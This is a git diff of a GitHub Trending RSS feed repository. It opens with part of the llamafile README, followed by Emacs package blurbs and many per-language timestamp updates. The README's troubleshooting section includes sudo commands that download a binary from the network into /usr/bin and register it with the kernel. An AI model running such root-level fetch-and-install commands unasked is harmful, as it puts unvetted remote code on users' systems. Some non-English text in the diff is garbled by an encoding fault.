<td><a href="https://huggingface.co/microsoft/phi-2/resolve/main/LICENSE">microsoft-research-license</a></td>
<td><a href="https://huggingface.co/jartine/phi-2-llamafile/resolve/main/phi-2.Q5_K_M.llamafile?download=true">phi-2.Q5_K_M.llamafile</a></td>
</tr>
</tbody>
</table>
<p>Be sure to <code>chmod +x</code> your llamafile executable after you download it. Then consider placing it on the system path. If you have any trouble running the llamafile, then see the <a href="https://raw.githubusercontent.com/jart/emacs-copilot/main/#gotchas">Gotchas</a> section.</p>
<h2>Cache files</h2>
<p>If you decide to switch models, then be sure to delete all the <code>FILE.cache</code> files that got generated on your local filesystem.</p>
<pre><code class="language-sh">find . -name \*.cache | xargs rm -f
</code></pre>
<p>You can also tune the Emacs LISP code above to just not use prompt caching at all, by removing those flags. That might have a negative impact on code completion latency though. On Apple Metal GPU, which has extremely fast prompt loading, the slowdown might be ~1 second, but for systems that need CPU inference it could be significantly higher.</p>
<h2>Gotchas</h2>
<p>On macOS with Apple Silicon you need to have Xcode installed for llamafile to be able to bootstrap itself.</p>
<p>If you use zsh and have trouble running llamafile, try saying <code>sh -c ./llamafile</code>. This is due to a bug that was fixed in zsh 5.9+. The same is the case for Python <code>subprocess</code>, old versions of Fish, etc.</p>
<p>On some Linux systems, you might get errors relating to <code>run-detectors</code> or WINE. This is due to <code>binfmt_misc</code> registrations. You can fix that by adding an additional registration for the APE file format llamafile uses:</p>
<pre><code class="language-sh">sudo wget -O /usr/bin/ape https://cosmo.zip/pub/cosmos/bin/ape-$(uname -m).elf
sudo chmod +x /usr/bin/ape
sudo sh -c "echo ':APE:M::MZqFpD::/usr/bin/ape:' >/proc/sys/fs/binfmt_misc/register"
sudo sh -c "echo ':APE-jart:M::jartsr::/usr/bin/ape:' >/proc/sys/fs/binfmt_misc/register"
</code></pre>
<p>As mentioned above, on Windows you may need to rename your llamafile by adding <code>.exe</code> to the filename.</p>
<p>Also as mentioned above, Windows also has a maximum file size limit of 4GB for executables. The LLaVA server executable above is just 30MB shy of that limit, so it'll work on Windows, but with larger models like WizardCoder 13B, you need to store the weights in a separate file. An example is provided above; see "Using llamafile with external weights."</p>
<p>On WSL, it's recommended that the WIN32 interop feature be disabled:</p>
<pre><code class="language-sh">sudo sh -c "echo -1 > /proc/sys/fs/binfmt_misc/WSLInterop"
</code></pre>
<p>On any platform, if your llamafile process is immediately killed, check if you have CrowdStrike and then ask to be whitelisted.</p>
<h2>Supported OSes and CPUs</h2>
<p>llamafile supports the following operating systems, which require a minimum stock install:</p>
<ul>
<li>Linux 2.6.18+ (ARM64 or AMD64) i.e. any distro RHEL5 or newer</li>
<li>Darwin (macOS) 23.1.0+ [1] (ARM64 or AMD64, with GPU only supported on ARM64)</li>
<li>Windows 8+ (AMD64)</li>
<li>FreeBSD 13+ (AMD64, GPU should work in theory)</li>
<li>NetBSD 9.2+ (AMD64, GPU should work in theory)</li>
<li>OpenBSD 7+ (AMD64, no GPU support)</li>
</ul>
<p>llamafile supports the following CPUs:</p>
<ul>
<li>AMD64 microprocessors must have SSSE3. Otherwise llamafile will print an error and refuse to run. This means that if you have an Intel CPU, it needs to be Intel Core or newer (circa 2006+), and if you have an AMD CPU, then it needs to be Bulldozer or newer (circa 2011+). If you have a newer CPU with AVX, or better yet AVX2, then llamafile will utilize your chipset features to go faster. There is no support for AVX512+ runtime dispatching yet.</li>
<li>ARM64 microprocessors must have ARMv8a+. This means everything from Apple Silicon to 64-bit Raspberry Pis will work, provided your weights fit into memory.</li>
</ul>
<p>[1] Darwin kernel versions 15.6+ <em>should</em> be supported, but we currently have no way of testing that.</p>
<h2>A note about models</h2>
<p>The example llamafiles provided above should not be interpreted as endorsements or recommendations of specific models, licenses, or data sets on the part of Mozilla.</p>
-
-
- rougier/nano-agenda
- 2024-01-03T01:29:05Z
- tag:github.com,2024-01-03:/rougier/nano-agenda
-
- <p>A minimal org agenda for Emacs</p><hr><h2>GNU Emacs / N ฮ N O Agenda</h2>
<p>N ฮ N O agenda is a minimal view of your org agenda files. It displays a calendar view of current month (or the month corresponding to the current selected date) alongside a view of your agenda displaying timestamped entries.</p>
<p><img src="https://raw.githubusercontent.com/rougier/nano-agenda/master/nano-agenda.png" alt=""></p>
-
-
- Kyure-A/jobcan.el
- 2024-01-03T01:29:05Z
- tag:github.com,2024-01-03:/Kyure-A/jobcan.el
-
- <p>Managing jobcan in Emacs</p><hr><p>#+STARTUP: content #+STARTUP: fold [[https://github.com/Kyure-A/jobcan][https://img.shields.io/github/tag/Kyure-A/jobcan.svg?style=flat-square]] [[file:LICENSE][https://img.shields.io/github/license/Kyure-A/jobcan.svg?style=flat-square]] [[https://codecov.io/gh/Kyure-A/jobcan?branch=master][https://img.shields.io/codecov/c/github/Kyure-A/jobcan.svg?style=flat-square]] [[https://github.com/Kyure-A/jobcan/actions][https://img.shields.io/github/actions/workflow/status/Kyure-A/jobcan/test.yml.svg?branch=master&style=flat-square]]</p>
<ul>
<li>jobcan.el</li>
</ul>
<p>Managing jobcan in Emacs.</p>
<p>** Usage *** Punch in #+begin_src console M-x jobcan-touch #+end_src *** Get information about linked users #+begin_src console M-x jobcan-linked #+end_src *** Status #+begin_src console M-x jobcan-current-status #+end_src ** License This package is licensed by The GNU General Public License verson 3 or later. See [[file:LICENSE][LICENSE]].</p>
-
\ No newline at end of file
diff --git a/emberscript/daily/index.xml b/emberscript/daily/index.xml
index dde66efe277..a397b86130d 100644
--- a/emberscript/daily/index.xml
+++ b/emberscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub EmberScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:00Z
+ 2024-01-04T01:29:17ZDaily Trending of EmberScript in GitHub
\ No newline at end of file
diff --git a/eq/daily/index.xml b/eq/daily/index.xml
index e082e9c67d5..5da05130bd3 100644
--- a/eq/daily/index.xml
+++ b/eq/daily/index.xml
@@ -1,7 +1,7 @@
GitHub EQ Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:18Z
+ 2024-01-04T01:29:31ZDaily Trending of EQ in GitHub
\ No newline at end of file
diff --git a/erlang/daily/index.xml b/erlang/daily/index.xml
index 0497280ca09..1df639111b3 100644
--- a/erlang/daily/index.xml
+++ b/erlang/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Erlang Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:20Z
+ 2024-01-04T01:29:35ZDaily Trending of Erlang in GitHub
\ No newline at end of file
diff --git a/euphoria/daily/index.xml b/euphoria/daily/index.xml
index 03035ae711c..c3ae543532b 100644
--- a/euphoria/daily/index.xml
+++ b/euphoria/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Euphoria Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:18Z
+ 2024-01-04T01:29:30ZDaily Trending of Euphoria in GitHub
\ No newline at end of file
diff --git a/f%23/daily/index.xml b/f%23/daily/index.xml
index 94ac0e2e716..2cbe4ee16fc 100644
--- a/f%23/daily/index.xml
+++ b/f%23/daily/index.xml
@@ -1,7 +1,14 @@
GitHub F# Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:24Z
+ 2024-01-04T01:29:39ZDaily Trending of F# in GitHub
+
+ glutinum-org/cli
+ 2024-01-04T01:29:39Z
+ tag:github.com,2024-01-04:/glutinum-org/cli
+
+ <p></p><hr><h1>Glutinum.Converter</h1>
<p>This is a compiler from <code>.d.ts</code> to F# bindings for <a href="https://fable.io/">Fable</a>.</p>
+
\ No newline at end of file
diff --git a/f*/daily/index.xml b/f*/daily/index.xml
index cbd46da0ef4..51c4ac1650f 100644
--- a/f*/daily/index.xml
+++ b/f*/daily/index.xml
@@ -1,7 +1,7 @@
GitHub F* Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:22Z
+ 2024-01-04T01:29:36ZDaily Trending of F* in GitHub
\ No newline at end of file
diff --git a/factor/daily/index.xml b/factor/daily/index.xml
index 762b77ad57e..9d9e82d11b0 100644
--- a/factor/daily/index.xml
+++ b/factor/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Factor Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:22Z
+ 2024-01-04T01:29:38ZDaily Trending of Factor in GitHub
\ No newline at end of file
diff --git a/fancy/daily/index.xml b/fancy/daily/index.xml
index 75d794159d3..93ef52196b0 100644
--- a/fancy/daily/index.xml
+++ b/fancy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fancy Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:21Z
+ 2024-01-04T01:29:37ZDaily Trending of Fancy in GitHub
\ No newline at end of file
diff --git a/fantom/daily/index.xml b/fantom/daily/index.xml
index 1825f80679c..6abf141b22c 100644
--- a/fantom/daily/index.xml
+++ b/fantom/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fantom Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:26Z
+ 2024-01-04T01:29:41ZDaily Trending of Fantom in GitHub
\ No newline at end of file
diff --git a/faust/daily/index.xml b/faust/daily/index.xml
index 902310de668..85d00a0cb23 100644
--- a/faust/daily/index.xml
+++ b/faust/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Faust Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:27Z
+ 2024-01-04T01:29:43ZDaily Trending of Faust in GitHub
\ No newline at end of file
diff --git a/fennel/daily/index.xml b/fennel/daily/index.xml
index fd539ac4b97..601be46b4e7 100644
--- a/fennel/daily/index.xml
+++ b/fennel/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fennel Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:26Z
+ 2024-01-04T01:29:42ZDaily Trending of Fennel in GitHub
\ No newline at end of file
diff --git a/figlet-font/daily/index.xml b/figlet-font/daily/index.xml
index 1372ab9138a..887f456b6d0 100644
--- a/figlet-font/daily/index.xml
+++ b/figlet-font/daily/index.xml
@@ -1,7 +1,7 @@
GitHub FIGlet Font Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:28Z
+ 2024-01-04T01:29:43ZDaily Trending of FIGlet Font in GitHub
\ No newline at end of file
diff --git a/filebench-wml/daily/index.xml b/filebench-wml/daily/index.xml
index be544ddc6f6..815b5479bfd 100644
--- a/filebench-wml/daily/index.xml
+++ b/filebench-wml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Filebench WML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:29Z
+ 2024-01-04T01:29:45ZDaily Trending of Filebench WML in GitHub
\ No newline at end of file
diff --git a/filterscript/daily/index.xml b/filterscript/daily/index.xml
index 4ba95f9f8fa..08555b306f9 100644
--- a/filterscript/daily/index.xml
+++ b/filterscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Filterscript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:32Z
+ 2024-01-04T01:29:46ZDaily Trending of Filterscript in GitHub
\ No newline at end of file
diff --git a/fish/daily/index.xml b/fish/daily/index.xml
index 198621b98a6..276737ceb55 100644
--- a/fish/daily/index.xml
+++ b/fish/daily/index.xml
@@ -1,7 +1,7 @@
GitHub fish Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:30Z
+ 2024-01-04T01:29:45ZDaily Trending of fish in GitHub
\ No newline at end of file
diff --git a/fluent/daily/index.xml b/fluent/daily/index.xml
index 962c61e525b..c33e73ee42e 100644
--- a/fluent/daily/index.xml
+++ b/fluent/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fluent Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:31Z
+ 2024-01-04T01:29:47ZDaily Trending of Fluent in GitHub
\ No newline at end of file
diff --git a/flux/daily/index.xml b/flux/daily/index.xml
index 9d5c3308db9..7a03b72413b 100644
--- a/flux/daily/index.xml
+++ b/flux/daily/index.xml
@@ -1,7 +1,7 @@
GitHub FLUX Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:34Z
+ 2024-01-04T01:29:48ZDaily Trending of FLUX in GitHub
\ No newline at end of file
diff --git a/formatted/daily/index.xml b/formatted/daily/index.xml
index 2e5026e00f6..3c7ae78114b 100644
--- a/formatted/daily/index.xml
+++ b/formatted/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Formatted Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:33Z
+ 2024-01-04T01:29:50ZDaily Trending of Formatted in GitHub
\ No newline at end of file
diff --git a/forth/daily/index.xml b/forth/daily/index.xml
index c5c7776591d..38e3b18406d 100644
--- a/forth/daily/index.xml
+++ b/forth/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Forth Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:34Z
+ 2024-01-04T01:29:51ZDaily Trending of Forth in GitHub
\ No newline at end of file
diff --git a/fortran-free-form/daily/index.xml b/fortran-free-form/daily/index.xml
index bc4f1c4dff9..efc1865290a 100644
--- a/fortran-free-form/daily/index.xml
+++ b/fortran-free-form/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fortran Free Form Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:37Z
+ 2024-01-04T01:29:56ZDaily Trending of Fortran Free Form in GitHub
\ No newline at end of file
diff --git a/fortran/daily/index.xml b/fortran/daily/index.xml
index 21e7225057a..440223e9797 100644
--- a/fortran/daily/index.xml
+++ b/fortran/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fortran Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:36Z
+ 2024-01-04T01:29:53ZDaily Trending of Fortran in GitHub
\ No newline at end of file
diff --git a/freebasic/daily/index.xml b/freebasic/daily/index.xml
index 604b84576fd..016c66b6d53 100644
--- a/freebasic/daily/index.xml
+++ b/freebasic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub FreeBasic Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:38Z
+ 2024-01-04T01:29:55ZDaily Trending of FreeBasic in GitHub
\ No newline at end of file
diff --git a/freemarker/daily/index.xml b/freemarker/daily/index.xml
index 2ff10a25ffa..c07a8d4d041 100644
--- a/freemarker/daily/index.xml
+++ b/freemarker/daily/index.xml
@@ -1,7 +1,7 @@
GitHub FreeMarker Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:39Z
+ 2024-01-04T01:29:55ZDaily Trending of FreeMarker in GitHub
\ No newline at end of file
diff --git a/frege/daily/index.xml b/frege/daily/index.xml
index 85d51e77962..3cbfcf90359 100644
--- a/frege/daily/index.xml
+++ b/frege/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Frege Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:39Z
+ 2024-01-04T01:29:54ZDaily Trending of Frege in GitHub
\ No newline at end of file
diff --git a/futhark/daily/index.xml b/futhark/daily/index.xml
index e19c7bee578..0b917b84521 100644
--- a/futhark/daily/index.xml
+++ b/futhark/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Futhark Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:40Z
+ 2024-01-04T01:29:57ZDaily Trending of Futhark in GitHub
\ No newline at end of file
diff --git a/g-code/daily/index.xml b/g-code/daily/index.xml
index 3b36d771c63..6503c9c75e4 100644
--- a/g-code/daily/index.xml
+++ b/g-code/daily/index.xml
@@ -1,7 +1,7 @@
GitHub G-code Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:43Z
+ 2024-01-04T01:29:58ZDaily Trending of G-code in GitHub
\ No newline at end of file
diff --git a/game-maker-language/daily/index.xml b/game-maker-language/daily/index.xml
index a243f9ab1df..83a9f2b5b16 100644
--- a/game-maker-language/daily/index.xml
+++ b/game-maker-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Game Maker Language Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:42Z
+ 2024-01-04T01:29:59ZDaily Trending of Game Maker Language in GitHub
\ No newline at end of file
diff --git a/gaml/daily/index.xml b/gaml/daily/index.xml
index 1bcc3505077..83a7808a4cc 100644
--- a/gaml/daily/index.xml
+++ b/gaml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GAML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:41Z
+ 2024-01-04T01:29:59ZDaily Trending of GAML in GitHub
\ No newline at end of file
diff --git a/gams/daily/index.xml b/gams/daily/index.xml
index e7a3e773f05..70597afd4a8 100644
--- a/gams/daily/index.xml
+++ b/gams/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GAMS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:44Z
+ 2024-01-04T01:30:02ZDaily Trending of GAMS in GitHub
\ No newline at end of file
diff --git a/gap/daily/index.xml b/gap/daily/index.xml
index 4749e4bcb2c..30212fb5924 100644
--- a/gap/daily/index.xml
+++ b/gap/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GAP Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:45Z
+ 2024-01-04T01:30:01ZDaily Trending of GAP in GitHub
\ No newline at end of file
diff --git a/gcc-machine-description/daily/index.xml b/gcc-machine-description/daily/index.xml
index ad02fe1afea..41dd485a86d 100644
--- a/gcc-machine-description/daily/index.xml
+++ b/gcc-machine-description/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GCC Machine Description Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:46Z
+ 2024-01-04T01:30:03ZDaily Trending of GCC Machine Description in GitHub
\ No newline at end of file
diff --git a/gdb/daily/index.xml b/gdb/daily/index.xml
index 84b44b2b279..a99b5b11fc0 100644
--- a/gdb/daily/index.xml
+++ b/gdb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GDB Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:45Z
+ 2024-01-04T01:30:01ZDaily Trending of GDB in GitHub
\ No newline at end of file
diff --git a/gdscript/daily/index.xml b/gdscript/daily/index.xml
index d71352037ea..d6803f9e8ba 100644
--- a/gdscript/daily/index.xml
+++ b/gdscript/daily/index.xml
@@ -1,14 +1,14 @@
GitHub GDScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:51Z
+ 2024-01-04T01:30:08ZDaily Trending of GDScript in GitHub
- AdamKormos/SaveMadeEasy
- 2024-01-03T01:29:51Z
- tag:github.com,2024-01-03:/AdamKormos/SaveMadeEasy
-
- <p>An easy to use, versatile Save/Load System for Godot 4 inspired by the simplicity of Unity's PlayerPrefs. Supports nested variables, Resources, Arrays and encryption.</p><hr>
+ GuilhermeGSousa/game-base-2D
+ 2024-01-04T01:30:08Z
+ tag:github.com,2024-01-04:/GuilhermeGSousa/game-base-2D
+
+ <p>A base structure for polished 2D games in Godot 4</p><hr>
\ No newline at end of file
diff --git a/gedcom/daily/index.xml b/gedcom/daily/index.xml
index a0ecf8986a3..78d16671322 100644
--- a/gedcom/daily/index.xml
+++ b/gedcom/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GEDCOM Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:47Z
+ 2024-01-04T01:30:05ZDaily Trending of GEDCOM in GitHub
\ No newline at end of file
diff --git a/gemfile.lock/daily/index.xml b/gemfile.lock/daily/index.xml
index f85022ba5d7..d324a271424 100644
--- a/gemfile.lock/daily/index.xml
+++ b/gemfile.lock/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gemfile.lock Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:49Z
+ 2024-01-04T01:30:04ZDaily Trending of Gemfile.lock in GitHub
\ No newline at end of file
diff --git a/genie/daily/index.xml b/genie/daily/index.xml
index f3d4d6fd91d..4cf6af1faab 100644
--- a/genie/daily/index.xml
+++ b/genie/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Genie Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:54Z
+ 2024-01-04T01:30:11ZDaily Trending of Genie in GitHub
\ No newline at end of file
diff --git a/genshi/daily/index.xml b/genshi/daily/index.xml
index 6dacf76f137..fc7102cb913 100644
--- a/genshi/daily/index.xml
+++ b/genshi/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Genshi Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:53Z
+ 2024-01-04T01:30:11ZDaily Trending of Genshi in GitHub
\ No newline at end of file
diff --git a/gentoo-ebuild/daily/index.xml b/gentoo-ebuild/daily/index.xml
index 6c44ff617c5..203048c35b1 100644
--- a/gentoo-ebuild/daily/index.xml
+++ b/gentoo-ebuild/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gentoo Ebuild Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:57Z
+ 2024-01-04T01:30:13ZDaily Trending of Gentoo Ebuild in GitHub
\ No newline at end of file
diff --git a/gentoo-eclass/daily/index.xml b/gentoo-eclass/daily/index.xml
index 2490758e2f4..b7530a02023 100644
--- a/gentoo-eclass/daily/index.xml
+++ b/gentoo-eclass/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gentoo Eclass Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:55Z
+ 2024-01-04T01:30:13ZDaily Trending of Gentoo Eclass in GitHub
\ No newline at end of file
diff --git a/gerber-image/daily/index.xml b/gerber-image/daily/index.xml
index dc24ba60e93..c6f1c7a8a50 100644
--- a/gerber-image/daily/index.xml
+++ b/gerber-image/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gerber Image Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:56Z
+ 2024-01-04T01:30:15ZDaily Trending of Gerber Image in GitHub
\ No newline at end of file
diff --git a/gettext-catalog/daily/index.xml b/gettext-catalog/daily/index.xml
index b80c535cb07..0fadd0ebc96 100644
--- a/gettext-catalog/daily/index.xml
+++ b/gettext-catalog/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gettext Catalog Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:57Z
+ 2024-01-04T01:30:14ZDaily Trending of Gettext Catalog in GitHub
\ No newline at end of file
diff --git a/gherkin/daily/index.xml b/gherkin/daily/index.xml
index ef6d06bb1ce..6b47ddc7c50 100644
--- a/gherkin/daily/index.xml
+++ b/gherkin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gherkin Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:01Z
+ 2024-01-04T01:30:18ZDaily Trending of Gherkin in GitHub
\ No newline at end of file
diff --git a/git-attributes/daily/index.xml b/git-attributes/daily/index.xml
index 8751991c409..5a4b082a57f 100644
--- a/git-attributes/daily/index.xml
+++ b/git-attributes/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Git Attributes Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:59Z
+ 2024-01-04T01:30:17ZDaily Trending of Git Attributes in GitHub
\ No newline at end of file
diff --git a/git-config/daily/index.xml b/git-config/daily/index.xml
index cdd22e3c2e2..6bce102a7bb 100644
--- a/git-config/daily/index.xml
+++ b/git-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Git Config Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:00Z
+ 2024-01-04T01:30:17ZDaily Trending of Git Config in GitHub
\ No newline at end of file
diff --git a/gleam/daily/index.xml b/gleam/daily/index.xml
index 48e08ac52a3..0c8f0cdd9c4 100644
--- a/gleam/daily/index.xml
+++ b/gleam/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gleam Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:02Z
+ 2024-01-04T01:30:20ZDaily Trending of Gleam in GitHub
\ No newline at end of file
diff --git a/glsl/daily/index.xml b/glsl/daily/index.xml
index 3a55e452ebc..1be158a98e0 100644
--- a/glsl/daily/index.xml
+++ b/glsl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GLSL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:04Z
+ 2024-01-04T01:30:22ZDaily Trending of GLSL in GitHub
\ No newline at end of file
diff --git a/glyph-bitmap-distribution-format/daily/index.xml b/glyph-bitmap-distribution-format/daily/index.xml
index 60b80606e5c..9a744f98c29 100644
--- a/glyph-bitmap-distribution-format/daily/index.xml
+++ b/glyph-bitmap-distribution-format/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Glyph Bitmap Distribution Format Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:07Z
+ 2024-01-04T01:30:26ZDaily Trending of Glyph Bitmap Distribution Format in GitHub
\ No newline at end of file
diff --git a/glyph/daily/index.xml b/glyph/daily/index.xml
index 05a2ccde057..865e65a1c6b 100644
--- a/glyph/daily/index.xml
+++ b/glyph/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Glyph Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:03Z
+ 2024-01-04T01:30:21ZDaily Trending of Glyph in GitHub
\ No newline at end of file
diff --git a/gn/daily/index.xml b/gn/daily/index.xml
index 226cabc4601..688c79fb3bf 100644
--- a/gn/daily/index.xml
+++ b/gn/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GN Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:06Z
+ 2024-01-04T01:30:25ZDaily Trending of GN in GitHub
\ No newline at end of file
diff --git a/gnuplot/daily/index.xml b/gnuplot/daily/index.xml
index ea74d8e03c0..2ceda34167e 100644
--- a/gnuplot/daily/index.xml
+++ b/gnuplot/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gnuplot Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:06Z
+ 2024-01-04T01:30:24ZDaily Trending of Gnuplot in GitHub
\ No newline at end of file
diff --git a/go-checksums/daily/index.xml b/go-checksums/daily/index.xml
index 8e37971e65b..9efdda0fd44 100644
--- a/go-checksums/daily/index.xml
+++ b/go-checksums/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Go Checksums Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:20Z
+ 2024-01-04T01:30:38ZDaily Trending of Go Checksums in GitHub
\ No newline at end of file
diff --git a/go-module/daily/index.xml b/go-module/daily/index.xml
index 2da8bad6736..8eb5ea4e6c9 100644
--- a/go-module/daily/index.xml
+++ b/go-module/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Go Module Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:19Z
+ 2024-01-04T01:30:40ZDaily Trending of Go Module in GitHub
\ No newline at end of file
diff --git a/go/daily/index.xml b/go/daily/index.xml
index 37709e89024..20807bc81ba 100644
--- a/go/daily/index.xml
+++ b/go/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Go Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:10Z
+ 2024-01-04T01:30:28ZDaily Trending of Go in GitHub
-
- assimon/epusdt
- 2024-01-03T01:30:10Z
- tag:github.com,2024-01-03:/assimon/epusdt
-
- <p>ๅผๆบไผ้ ็่ทจๅนณๅฐusdtๆถไปไธญ้ดไปถ Easy Payment USDTโโepsdt</p><hr><h2>Epusdt (Easy Payment Usdt)</h2>
<p align="center"> <img src="https://raw.githubusercontent.com/assimon/epusdt/master/wiki/img/usdtlogo.png"> </p>
<p align="center"> <a href="https://www.gnu.org/licenses/gpl-3.0.html"><img src="https://img.shields.io/badge/license-GPLV3-blue" alt="license GPLV3"></a> <a href="https://golang.org"><img src="https://img.shields.io/badge/Golang-1.16-red" alt="Go version 1.16"></a> <a href="https://echo.labstack.com"><img src="https://img.shields.io/badge/Echo Framework-v4-blue" alt="Echo Framework v4"></a> <a href="https://github.com/tucnak/telebot"><img src="https://img.shields.io/badge/Telebot Framework-v3-lightgrey" alt="Telebot Framework-v3"></a> <a href="https://github.com/assimon/epusdt/releases/tag/v0.0.1"><img src="https://img.shields.io/badge/version-v0.0.1-green" alt="version v0.0.1"></a> </p>
<h2>้กน็ฎ็ฎไป</h2>
